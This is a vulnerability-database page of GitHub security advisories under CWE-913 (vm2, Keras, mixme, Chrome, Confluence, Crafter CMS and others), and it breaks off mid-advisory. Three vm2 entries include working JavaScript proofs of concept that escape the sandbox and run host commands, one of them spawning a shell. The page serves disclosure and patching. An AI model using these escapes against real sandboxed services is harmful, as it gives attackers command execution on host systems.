CWE-913
Allowed-with-ReviewImproper Control of Dynamically-Managed Code Resources
Abstraction: Class · Status: Incomplete
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
202 vulnerabilities reference this CWE, most recent first.
GHSA-76W7-J9CQ-RX2J
Vulnerability from github – Published: 2026-05-29 17:40 – Updated: 2026-06-12 20:50Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47208"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T17:40:15Z",
"nvd_published_at": "2026-06-12T15:16:28Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=\u003e{ex=v;p.resolve();})};\n\tnew FakePromise(r=\u003er());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tawait doCatch(()=\u003eso(mid));\n\t\tif (ex.name===\"RangeError\" \u0026\u0026 !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
"id": "GHSA-76w7-j9cq-rx2j",
"modified": "2026-06-12T20:50:55Z",
"published": "2026-05-29T17:40:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47208"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 is Vulnerable to Sandbox Breakout Through Promise Species"
}
GHSA-77WQ-646F-JRM2
Vulnerability from github – Published: 2025-09-19 09:31 – Updated: 2025-09-19 17:34Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-36rr-ww3j-vrjv. This link is maintained to preserve external references.
Original Description
The Keras Model.load_model method can be exploited to achieve arbitrary code execution, even with safe_mode=True.
One can create a specially crafted .h5/.hdf5 model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed.
This is achieved by crafting a special .h5 archive file that uses the Lambda layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safe_mode=True option is not honored when reading .h5 archives.
Note that the .h5/.hdf5 format is a legacy format supported by Keras 3 for backwards compatibility.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-19T17:34:15Z",
"nvd_published_at": "2025-09-19T09:15:36Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-36rr-ww3j-vrjv. This link is maintained to preserve external references.\n\n### Original Description\nThe Keras Model.load_model\u00a0method can be exploited to achieve arbitrary code execution, even with safe_mode=True.\n\nOne can create a specially crafted .h5/.hdf5\u00a0model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed.\n\nThis is achieved by crafting a special .h5\u00a0archive file that uses the Lambda\u00a0layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safe_mode=True\u00a0option is not honored when reading .h5\u00a0archives.\n\nNote that the .h5/.hdf5\u00a0format is a legacy format supported by Keras 3 for backwards compatibility.",
"id": "GHSA-77wq-646f-jrm2",
"modified": "2025-09-19T17:34:15Z",
"published": "2025-09-19T09:31:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/security/advisories/GHSA-36rr-ww3j-vrjv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9905"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/pull/21602"
},
{
"type": "PACKAGE",
"url": "https://github.com/keras-team/keras"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: The Keras `Model.load_model` method **silently** ignores `safe_mode=True` and allows arbitrary code execution when a `.h5`/`.hdf5` file is loaded.",
"withdrawn": "2025-09-19T17:34:15Z"
}
GHSA-79JW-6WG7-R9G4
Vulnerability from github – Published: 2021-05-06 15:45 – Updated: 2021-05-07 21:13Impact
In Node.js mixme v0.5.0, an attacker can add or alter properties of an object via 'proto' through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).
Patches
The problem is corrected starting with version 0.5.1.
References
Issue: https://github.com/adaltas/node-mixme/issues/1 Commit: https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mixme"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29491"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-05T18:39:38Z",
"nvd_published_at": "2021-05-06T13:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nIn Node.js mixme v0.5.0, an attacker can add or alter properties of an object via \u0027proto\u0027 through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).\n\n### Patches\nThe problem is corrected starting with version 0.5.1.\n\n### References\nIssue: https://github.com/adaltas/node-mixme/issues/1\nCommit: https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028\n\n",
"id": "GHSA-79jw-6wg7-r9g4",
"modified": "2021-05-07T21:13:59Z",
"published": "2021-05-06T15:45:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adaltas/node-mixme/security/advisories/GHSA-79jw-6wg7-r9g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29491"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210622-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Use of Potentially Dangerous Function in mixme"
}
GHSA-7JXR-CG7F-GPGV
Vulnerability from github – Published: 2023-04-07 20:35 – Updated: 2023-04-07 20:35vm2 was not properly handling host objects passed to Error.prepareStackTrace in case of unhandled async errors.
- vm2 version: ~3.9.14
- Node version: 18.15.0, 19.8.1, 17.9.1
Impact
A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.
Patches
This vulnerability was patched in the release of version 3.9.15 of vm2.
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29017"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-07T20:35:03Z",
"nvd_published_at": "2023-04-06T20:15:00Z",
"severity": "CRITICAL"
},
"details": "vm2 was not properly handling host objects passed to `Error.prepareStackTrace` in case of unhandled async errors.\n\n- vm2 version: ~3.9.14\n- Node version: 18.15.0, 19.8.1, 17.9.1\n\n### Impact\nA threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.\n\n### Patches\nThis vulnerability was patched in the release of version `3.9.15` of `vm2`.\n\n### Workarounds\nNone.",
"id": "GHSA-7jxr-cg7f-gpgv",
"modified": "2023-04-07T20:35:03Z",
"published": "2023-04-07T20:35:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-7jxr-cg7f-gpgv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29017"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/issues/515"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/d534e5785f38307b70d3aac1945260a261a94d50"
},
{
"type": "WEB",
"url": "https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 vulnerable to sandbox escape"
}
GHSA-7XGW-3JR6-3P8H
Vulnerability from github – Published: 2026-08-20 21:31 – Updated: 2026-08-21 18:34Improper resource control in Linux Toolkit Theming in Google Chrome prior to 151.0.7922.173 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-76023"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T21:17:10Z",
"severity": "HIGH"
},
"details": "Improper resource control in Linux Toolkit Theming in Google Chrome prior to 151.0.7922.173 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-7xgw-3jr6-3p8h",
"modified": "2026-08-21T18:34:55Z",
"published": "2026-08-20T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76023"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0404570826.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/545124048"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82R4-FHR7-R9F8
Vulnerability from github – Published: 2022-09-06 00:00 – Updated: 2022-09-09 00:00Attacker might be able to execute malicious Perl code in the Template toolkit, by having the admin installing an unverified 3th party package
{
"affected": [],
"aliases": [
"CVE-2022-39051"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-05T07:15:00Z",
"severity": "HIGH"
},
"details": "Attacker might be able to execute malicious Perl code in the Template toolkit, by having the admin installing an unverified 3th party package",
"id": "GHSA-82r4-fhr7-r9f8",
"modified": "2022-09-09T00:00:50Z",
"published": "2022-09-06T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39051"
},
{
"type": "WEB",
"url": "https://otrs.com/release-notes/otrs-security-advisory-2022-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-86MX-982P-MGC2
Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2022-05-24 17:04There was a man-in-the-middle (MITM) vulnerability present in the Confluence Previews plugin in Confluence Server and Confluence Data Center. This plugin was used to facilitate communication with the Atlassian Companion application. The Confluence Previews plugin in Confluence Server and Confluence Data Center communicated with the Companion application via the atlassian-domain-for-localhost-connections-only.com domain name, the DNS A record of which points at 127.0.0.1. Additionally, a signed certificate for the domain was publicly distributed with the Companion application. An attacker in the position to control DNS resolution of their victim could carry out a man-in-the-middle (MITM) attack between Confluence Server (or Confluence Data Center) and the atlassian-domain-for-localhost-connections-only.com domain intended to be used with the Companion application. This certificate has been revoked, however, usage of the atlassian-domain-for-localhost-connections-only.com domain name was still present in Confluence Server and Confluence Data Center. An attacker could perform the described attack by denying their victim access to certificate revocation information, and carry out a man-in-the-middle (MITM) attack to observe files being edited using the Companion application and/or modify them, and access some limited user information.
{
"affected": [],
"aliases": [
"CVE-2019-15006"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-19T01:15:00Z",
"severity": "MODERATE"
},
"details": "There was a man-in-the-middle (MITM) vulnerability present in the Confluence Previews plugin in Confluence Server and Confluence Data Center. This plugin was used to facilitate communication with the Atlassian Companion application. The Confluence Previews plugin in Confluence Server and Confluence Data Center communicated with the Companion application via the atlassian-domain-for-localhost-connections-only.com domain name, the DNS A record of which points at 127.0.0.1. Additionally, a signed certificate for the domain was publicly distributed with the Companion application. An attacker in the position to control DNS resolution of their victim could carry out a man-in-the-middle (MITM) attack between Confluence Server (or Confluence Data Center) and the atlassian-domain-for-localhost-connections-only.com domain intended to be used with the Companion application. This certificate has been revoked, however, usage of the atlassian-domain-for-localhost-connections-only.com domain name was still present in Confluence Server and Confluence Data Center. An attacker could perform the described attack by denying their victim access to certificate revocation information, and carry out a man-in-the-middle (MITM) attack to observe files being edited using the Companion application and/or modify them, and access some limited user information.",
"id": "GHSA-86mx-982p-mgc2",
"modified": "2022-05-24T17:04:41Z",
"published": "2022-05-24T17:04:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15006"
},
{
"type": "WEB",
"url": "https://confluence.atlassian.com/doc/confluence-security-advisory-2019-12-18-982324349.html"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CONFSERVER-59244"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Dec/36"
},
{
"type": "WEB",
"url": "https://twitter.com/SwiftOnSecurity/status/1202034106495832067"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/155742/Atlassian-Confluence-Man-In-The-Middle.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8786-WG74-F522
Vulnerability from github – Published: 2022-02-09 23:07 – Updated: 2021-04-13 18:21Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker template exposed objects. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior to 3.1.7.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.0.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-25803"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T18:21:39Z",
"nvd_published_at": "2020-10-06T15:15:00Z",
"severity": "HIGH"
},
"details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker template exposed objects. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior to 3.1.7.",
"id": "GHSA-8786-wg74-f522",
"modified": "2021-04-13T18:21:39Z",
"published": "2022-02-09T23:07:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25803"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2020080102"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Dynamically-Managed Code Resources in Crafter CMS Crafter Studio"
}
GHSA-88HF-G992-JG85
Vulnerability from github – Published: 2026-10-05 22:47 – Updated: 2026-10-05 22:47Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.7"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92955"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:47:09Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I\u0027m sure there\u0027s other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: \u0027inherit\u0027`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-\u003e WriteStream (TTY only)\n-\u003e Socket\n-\u003e Duplex\n-\u003e Readable\n-\u003e Stream\n-\u003e EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,\u0027__proto__\u0027);\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,\u0027__proto__\u0027).call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```",
"id": "GHSA-88hf-g992-jg85",
"modified": "2026-10-05T22:47:09Z",
"published": "2026-10-05T22:47:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92955"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "vm2: Sandbox Escape (NodeVM)"
}
GHSA-8HR7-R645-PC6W
Vulnerability from github – Published: 2026-10-01 15:34 – Updated: 2026-10-01 15:34Summary
The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().
Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
Proof of Concept
Preconditions:
- The host creates
NodeVMwith truthynestingand array-shapedrequire. - The attacker can supply JavaScript executed by that
NodeVM.
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not VMRequire configuration objects. makeResolverFromLegacyOptions() applies object destructuring to the array, obtains undefined builtin and external values, merges NESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner NodeVM, whose require configuration is selected inside the sandbox.
Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307
Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped require values and incorrectly identifies 3.11.4 as patched.
Exploitation is limited to downstream applications that enable
nestingand pass the malformed array configuration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.6"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "3.11.4"
},
{
"fixed": "3.11.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92935"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:34:58Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === \u0027object\u0027 \u0026\u0026 requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.\n\nArray is converted into the vm2-only resolver:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226\n\nNesting loader returns the host VM constructors:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645\n\n## Proof of Concept\n\nPreconditions:\n\n- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`.\n- The attacker can supply JavaScript executed by that `NodeVM`.\n\n```javascript\n\u0027use strict\u0027;\n\nconst {NodeVM} = require(\u0027./index.js\u0027);\n\nconst outer = new NodeVM({nesting: true, require: []});\nconst result = outer.run(`\n\tconst {NodeVM} = require(\u0027vm2\u0027);\n\tconst inner = new NodeVM({require: {builtin: [\u0027child_process\u0027]}});\n\tmodule.exports = inner.run(\n\t\t\"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\"\n\t);\n`);\n\nconsole.log(result);\n```\n\n```text\nuid=1000(lohar) gid=1000(lohar) groups=1000(lohar)\n```\n\nThe `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.\n\nFailed shape check:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307\n\n## Impact\n\nAn attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting 